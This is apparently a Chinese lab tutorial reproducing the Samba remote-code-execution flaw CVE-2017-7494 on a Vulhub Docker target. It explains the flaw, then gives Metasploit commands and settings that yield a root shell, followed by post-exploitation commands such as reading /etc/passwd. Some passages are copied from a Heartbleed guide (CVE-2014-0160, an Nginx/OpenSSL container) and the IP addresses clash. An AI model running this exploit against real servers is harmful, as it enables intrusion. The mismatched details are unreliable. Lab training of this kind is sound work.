目录
[3、与 Windows "永恒之蓝"的对比](#3、与 Windows “永恒之蓝”的对比)
[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)
[2、下载 Vulhub](#2、下载 Vulhub)
[2、search CVE-2017-7494](#2、search CVE-2017-7494)
[3、use exploit/linux/samba/is_known_pipenam](#3、use exploit/linux/samba/is_known_pipenam)
本文介绍了Linux永恒之蓝漏洞(CVE-2017-7494)的原理及复现过程。该漏洞存在于Samba 3.5.0-4.6.4版本中,允许攻击者通过路径遍历在目标服务器上执行任意代码。文章详细对比了该漏洞与Windows永恒之蓝的区别,并提供了完整的复现步骤:包括使用Vulhub搭建漏洞环境,配置Metasploit攻击模块,解决加密报错问题,最终成功获取root权限shell。通过hostname、whoami等命令验证了渗透效果,完整演示了从漏洞原理到实际利用的全过程。
一、Linux永恒之蓝漏洞(CVE-2017-7494)
1、漏洞简介
Linux 永恒之蓝漏洞(CVE-2017-7494)是 Samba 网络文件共享服务中的一个严重远程代码执行漏洞。由于其与著名的 Windows "永恒之蓝"(EternalBlue)漏洞在影响和原理上有相似之处,因此常被称为 Linux 版的"永恒之蓝" 或 SambaCry。
-
漏洞编号:CVE-2017-7494
-
公开时间:2017年5月24日
-
影响软件:Samba(3.5.0 至 4.6.4 之间的所有版本)
-
严重等级 :高危(CVSS 评分通常为 9.8-10.0,满分10分)
-
漏洞本质 :远程代码执行。攻击者可以利用此漏洞,通过网络在受影响的 Samba 服务器上以 root 权限执行任意代码。
2、漏洞原理
该漏洞存在于 Samba 的 进程间通信(IPC) 机制中,具体是 命名管道(Named Pipe) 的代码路径。
-
正常流程 :Samba 允许客户端通过 IPC$ 共享上传一个共享库文件(如
.so文件),并请求服务器加载并执行该库中的函数。 -
缺陷所在 :服务器在加载客户端指定的共享库时,没有正确验证库文件的完整路径 。它允许客户端指定一个包含路径遍历序列(如
../../../)的相对或绝对路径。 -
利用方式 :攻击者可以上传一个恶意的共享库文件到可写共享目录(例如
/home/user/share/evil.so),然后通过 IPC$ 请求服务器加载一个类似../../../home/user/share/evil.so的路径。Samba 服务(默认以 root 权限运行)会不加限制地加载并执行这个恶意库中的代码。 -
最终结果 :攻击者成功在 Samba 服务器上获得了 root 权限的 shell 或执行了其预设的恶意操作。
简单比喻:就像一个仓库管理员(Samba服务),允许送货员(客户端)把箱子(共享库)暂存在仓库某个角落,并且承诺可以打开箱子里的说明书(函数)操作。但管理员没有检查"说明书位置"的指示,结果送货员写了个"去仓库外左边第三条街的垃圾桶里拿说明书",管理员真的跑去外面拿了并照做,导致引入了外部危险物品。
3、与 Windows "永恒之蓝"的对比
| 特性 | Windows EternalBlue (MS17-010) | Linux SambaCry (CVE-2017-7494) |
|---|---|---|
| 协议/服务 | SMBv1 协议(Windows 文件共享) | Samba 服务(Linux/Unix 上的 SMB/CIFS 实现) |
| 漏洞类型 | 缓冲区溢出(远程代码执行) | 路径遍历 + 任意共享库加载(远程代码执行) |
| 利用复杂度 | 较高,涉及内存操作 | 相对较低,概念验证(PoC)代码简单易得 |
| 传播能力 | 可自我传播,形成蠕虫(如 WannaCry) | 不能自我复制,但可被手动或脚本化大规模利用 |
| 影响范围 | 全球 Windows 系统 | 全球使用 Samba 的 Linux/Unix 及嵌入式设备 |
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现心脏滴血漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub-master
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd samba
cd CVE-2017-7494

4、启动漏洞环境
在CVE-2017-7494目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器
docker-compose build && docker-compose up -d

命令执行后,Docker 会完成拉取一个包含openssl(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的linux永恒之蓝samba漏洞镜像容器已正常运行 ,可用于测试CVE-2017-7494漏洞的利用。
05d5678098ab vulhub/samba:4.6.3 "/usr/local/samba/sb..." 11 seconds ago Up 8 seconds 0.0.0.0:445->445/tcp, :::445->445/tcp, 137-138/udp, 139/tcp, 0.0.0.0:6699->6699/tcp, :::6699->6699/tcp cve-2017-7494_samba_1
(1)容器标识
-
05d5678098ab:容器的唯一短ID -
cve-2017-7494_samba_1:容器名称(项目名_服务名_序号)
(2)镜像信息
-
vulhub/samba:4.6.3:使用的是Vulhub项目的Samba镜像-
Vulhub:一个知名的漏洞靶场项目,提供各种漏洞复现环境
-
4.6.3 :这是存在漏洞的Samba版本(受影响版本:3.5.0-4.6.3,已修复版本:≥4.6.4)
-
(3)命令和端口映射
-
命令 :
"/usr/local/samba/sb..."启动了Samba服务 -
端口映射:
-
0.0.0.0:445->445/tcp :SMB协议主端口,已暴露到宿主机所有网络接口
-
137-138/udp, 139/tcp:NetBIOS相关端口
-
0.0.0.0:6699->6699/tcp :可疑端口,可能是:
-
用于演示的其他服务
-
后门或webshell端口
-
管理界面
-
-
(4)时间状态
- 容器刚启动不久(11秒前创建,8秒前运行)

这说明已经成功启动了一个包含漏洞(CVE-2014-0160)的 Nginx 服务器容器。 该容器使用了存在漏洞的 OpenSSL 1.0.1c 版本,并已通过端口映射对外提供服务:
-
HTTP 服务 可通过
http://localhost:8080访问。 -
HTTPS 服务(攻击目标) 可通过
https://localhost:8443访问。
6、获取靶机ip
使用ifconfig获取靶机ip地址,我这里直接安装到kali中,故而ip地址即为宿主机的ip,如下所示ip地址为192.168.59.128。

7、渗透拓扑
靶机的ip与端口为192.168.59.128和445,角色表如下所示。
|------|----------------|----------|-------------|
| 角色 | ip | os | 应用 |
| 靶机 | 192.168.74.128 | Docker | Samba 4.6.3 |
| 攻击主机 | 192.168.74.128 | kali2019 | MSF |
三、渗透实战
1、msfconsole
攻击机使用msconsole启动MSF模块,如下所示。

2、search CVE-2017-7494

3、use exploit/linux/samba/is_known_pipenam
注意:use 0(也可以使用use exploit/linux/samba/is_known_pipename两者等效)

如上所示,需要配置rport与rhosts两个必要的参数,由于靶机的445端口同样映射到攻击机Kali的445端口,故而靶机的IP和端口为192.168.59.128:445
4、配置攻击参数
本步骤主要配置的参数为靶机ip地址,其中靶机的ip地址需要配置为192.168.59.128,端口号需要配置为445,如下所示。
set RHOST 192.168.59.128
set RPORT 445
这里要注意:由于show options中默认端口为445,故而实际上445可以不配置。

5、开启攻击
**执行完毕后执行run,**如下所示,报错信息为加密出错
[-] 192.168.59.128:445 - Exploit failed: RubySMB::Error::EncryptionError Communication error with the remote host: Socket read returned nil. The server supports encryption but was not able to handle the encrypted request.
[*] Exploit completed, but no session was created.

6、配置不加密
由于加密报错,设置 SMB 总是不加密,版本协议设置为 1,如下所示。
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

7、确认配置无误

8、执行渗透
如下所示,成功获取到靶机的shell。

9、后渗透
分别执行hostname、whoami、cat /etc/passwd、id的命令,渗透成功。


